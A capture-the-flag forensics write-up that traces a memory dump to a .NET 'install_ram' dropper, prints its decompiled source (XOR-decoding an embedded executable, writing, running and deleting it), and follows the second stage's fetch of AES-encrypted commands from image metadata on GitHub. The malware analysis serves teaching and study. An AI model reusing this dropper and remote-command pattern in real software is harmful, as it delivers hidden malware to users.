Swiss Hacking Challenge 2023 - meme review

Posted on Apr 23, 2023

Information

Challenge category: forensics

Challenge Description

WARNING: THIS IS ACTIVE MALWARE WHICH CAN HARM YOUR COMPUTER. EXECUTE AT OWN RISK! My computer is always sooooooo slow and our IT department said that my computer from 2004 is almost brand new and it could do a few years more. Well I decided to taking matters into my own hands and just install more ram from the internet. Now the security dudes told my that im browsing some nice memes on github, but the memes are a little sus. I have no idea what a github is and what memes I was watching. Can you help me out and find out what they mean? (Hint: Use Win10x86_19041)

Files

We are given an image.zip file. In the beginning, it is unclear what file this is.

The hint however gives away, what the file is; if you google for Win10x86_19041, you find GitHub issues for Volatility, a tool for memory dump analysis. The file image.raw inside of the Archive is indeed a memory dump.

Analysis

Extracting the executable

We download volatility:

$ git clone https://github.com/volatilityfoundation/volatility3
$ cd volatility3
$ git checkout v2.4.0

We can then analyze the running processes in the file

$ ./vol.py -f image.raw windows.pslist

The following line looks suspicious:

3044	3568	install_ram.ex	0xa5ca6840	11	-	1	False	2023-01-20 20:18:45.000000 	N/A	Disabled

We dump the exe of the process:

$ mkdir dump
$ /vol.py -f image.raw -o dump windows.dumpfiles --pid 3044

Our exe file is probably the file.0xab986c10.0xa6304a00.ImageSectionObject.install_ram.exe.img, when running strings over it we see the following at the end:

_CorExeMain
mscoree.dll

We’re dealing with a .NET app.

Decompiling the .NET app

We can use ILSpy to decompile the app into .NET source code.

I won’t go into how to install ILSpy due to it being a PITA but the README explains everything.

Once in ILSpy, we can load the exe:

The open file in ILSpy

The full source code of the file is as follows:



// LegitBuild
using System;
using System.Diagnostics;
using System.IO;
using System.Threading;

private static void Main(string[] args)
{
	int[] array = new int[6656]
	{
		77, 90, 144, 0, 3, 0, 0, 0, 4, 0,
		0, 0, 255, 255, 0, 0, 184, 0, 0, 0,
		0, 0, 0, 0, 64, 0, 0, 0, 0, 0,
    // This goes on for a long long time but I didn't want to fill 14 pages with numbers.
	};
	for (int i = 0; i <= 255; i++)
	{
		for (int j = 0; j <= 255; j++)
		{
			string text = "";
			int num = 0;
			for (num = 0; num <= array.Length - 1; num++)
			{
				int num2 = array[num] ^ j;
				char c = (char)num2;
				text += c;
			}
			if (text.Contains("!This program cannot be run in DOS mode."))
			{
				Console.WriteLine(num);
				string text2 = "C:\\temp\\legit-svc.exe";
				BinaryWriter binaryWriter = new BinaryWriter(new FileStream(text2, FileMode.Create));
				binaryWriter.Write(text);
				binaryWriter.Close();
				Process.Start(text2);
				File.Delete(text2);
				Thread.Sleep(50000);
				Environment.Exit(0);
			}
		}
	}
}

The code above brute-forces the number every element was XORed with, once it has found it (by comparing if it contains a line of text) it saves the decrypted text to a file, executes and deletes it.

Extracting the second binary

We can modify the .NET code to save us the binary by modifying the end of it:

< 				string text2 = "C:\\temp\\legit-svc.exe";
---
> 				string text2 = "/tmp/virus.exe";
699,702d698
< 				Process.Start(text2);
< 				File.Delete(text2);
< 				Thread.Sleep(50000);

We can then compile the .NET code:

$ mcs -out:ram.exe ram.cs
$ ./ram.exe

Note: I had to add an enclosing class Virus {} around the main function as mcs wouldn’t compile without it.

We can then access our virus at /tmpt/virus.exe.

Analyzing the second binary

Even though I tried, I could not decompile the weird 16-Bit executable that was created by the .NET program. So instead I tried running strings over the file and searching for useful things.

The following part looked interesting:

pleasenorunhttps://raw.githubusercontent.com/00xNULL/meme_review/main/meme.jpgCMD.exe/C  && pause

The (https://raw.githubusercontent.com/00xNULL/meme_review/main/meme.jpg)[https://raw.githubusercontent.com/00xNULL/meme_review/main/meme.jpg] leads us to a GitHub repo containing the same meme with multiple revisions in the git history.

Reviewing the memes

There are four revisions of the meme, when looking at them with exiftool, we see the following data for each of them:

Latest commit:

Make                            : YklwRWJKb2Vvelc5ZStIek1sdXJkWmRzeUx \
wc2x2cVhxSVlZZWRsVzhlT2JaR2FuaWFCTmhsSmtVN1pZUWFCa1FLMkV6eXErRkxSTTVH \
MnZibXovMlpNTUV0eitab1lLSGkxdGZ6cUpLYXR6OURPdy9GM0FhSDZMZUFKWjB2bGs=
Camera Model Name               : lettuce

Second-latest commit:

Make                            : TVAwRHIwcGNkZmhZajJmek1kUWUvWjZWcE5 \
RR283YVVESEMzRERtb0cxWHZXSG0vN1BlN2lPSCt3c3d0dHlRSkR2YXF2ZFBYdXBnNzdh \
3FWMHFLcXphN05meWRmY3VFZVVnck85TEpSTEErZ0c3eWhLV3cyQk5lTkVPbTh2WDlBZU \
tTdWNDVVVRQlh1VkM5L0w0dmFsdkpQWGVWQU5ZalgzTHlKSHQ0UjV3PQ==
Camera Model Name               : reeeeeeeeeee

Second-oldest commit:

Make                            : bDkxZENDb3B2RkFHS3Y2aHN2L282c3hiM3F \
EVDQveGhySlR5NXE5RGttWWcyUHkwSG11TExXQkw4ZEcxalcwNlk0SlY4RWNzT1BUMVpU \
b1BObEIxTXpVNjY2a0lCZUF5OFk1SVA5R2ppYWpraVVHMTVQL3puYW5MSGlCdVQyK3o=
Camera Model Name               : lasagne

Oldest commit:

Make                            : WkpYd3hoQUlMOFArL01wWGx5cVBkOVRBTi9 \
xMENjbllvUVNxUFBYVGZ1MVMxZ1k5eU1JS2lBTTJWcE0yUmtINUxuK2FtbTkyVUk3RHdZ \
Um8yenVLZUtIUUk3WEYveEZHWC9Hd1M3TXl1R042NVYwZ2NqVHFFSkdpSTJyUFlDSkI=
Camera Model Name               : nanananana_batmaaaaaan

The Make value is encrypted with Base64 twice and results in some binary gibberish. Probably we have some encryption and the Camera Model Name is the decryption key.

Decrypting the memes

The strings output also contained the following strings:

  • System.Security.CryptographyDeriveBytes
  • GetBytesRfc2898
  • RijndaelManaged
  • Generate256BitsOfRandomEntropy

Also, there is yet another mscoree.dll at the end, which should mean it’s also .NET/C#

After a bit of googling on these terms, I found this amazing StackOverflow article: https://stackoverflow.com/questions/10168240/encrypting-decrypting-a-string-in-c-sharp

The first answer has an amazing example which I used to decrypt the memes; here is my decryption script that is based off it:

using System;
using System.Text;
using System.Security.Cryptography;
using System.IO;
using System.Linq;

namespace EncryptStringSample
{
    public static class StringCipher
    {
        private const int Keysize = 256;
        private const int DerivationIterations = 1000;

        public static string Decrypt(string cipherText, string passPhrase)
        {
            var cipherTextBytesWithSaltAndIv = Convert.FromBase64String(cipherText);
            var saltStringBytes = cipherTextBytesWithSaltAndIv.Take(Keysize / 8).ToArray();
            var ivStringBytes = cipherTextBytesWithSaltAndIv.Skip(Keysize / 8).Take(Keysize / 8).ToArray();
            var cipherTextBytes = cipherTextBytesWithSaltAndIv.Skip((Keysize / 8) * 2).Take(cipherTextBytesWithSaltAndIv.Length - ((Keysize / 8) * 2)).ToArray();
            using (var password = new Rfc2898DeriveBytes(passPhrase, saltStringBytes, DerivationIterations))
            {
                var keyBytes = password.GetBytes(Keysize / 8);
                using (var symmetricKey = new RijndaelManaged())
                {
                    symmetricKey.BlockSize = 256;
                    symmetricKey.Mode = CipherMode.CBC;
                    symmetricKey.Padding = PaddingMode.PKCS7;
                    using (var decryptor = symmetricKey.CreateDecryptor(keyBytes, ivStringBytes))
                    {
                        using (var memoryStream = new MemoryStream(cipherTextBytes))
                        {
                            using (var cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))
                            using (var streamReader = new StreamReader(cryptoStream, Encoding.UTF8))
                            {
                                return streamReader.ReadToEnd();
                            }
                        }
                    }
                }
            }
        }

        private static byte[] Generate256BitsOfRandomEntropy()
        {
            var randomBytes = new byte[32]; // 32 Bytes will give us 256 bits.
            using (var rngCsp = new RNGCryptoServiceProvider())
            {
                rngCsp.GetBytes(randomBytes);
            }
            return randomBytes;
            
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Enter ciphertext: ");
            string plaintext = Console.ReadLine();
            Console.WriteLine("Password plz: ");
            string password = Console.ReadLine();
            Console.WriteLine("");

            Console.WriteLine("Your decrypted string is:");
            string decryptedstring = StringCipher.Decrypt(plaintext, password);
            Console.WriteLine(decryptedstring);
            Console.WriteLine("");
        }
    }
}

Flag

We can now decrypt all the images and one of them contained the flag:

echo shc2023{y0u_succ3ssfuly_revi3wed_th3_m3m3s}

The other images contained echo lasagne, net use and whoami.

Conclusion

This was a tough one.

Apart from it being 3 challenges smashed into a single one (Volatility, .NET and the meme part), I spent way too much even figuring out what I had to do with the image.raw file as I’ve never used volatility before. Also I’m sure there would’ve been a way of decompiling the 16-Bit executable instead of searching on StackOverflow. Learned a lot though, would do again.

References

  1. https://blog.onfvp.com/post/volatility-cheatsheet/
  2. https://stackoverflow.com/questions/27413469/net-decompiler-for-mac-or-linux
  3. https://stackoverflow.com/questions/10168240/encrypting-decrypting-a-string-in-c-sharp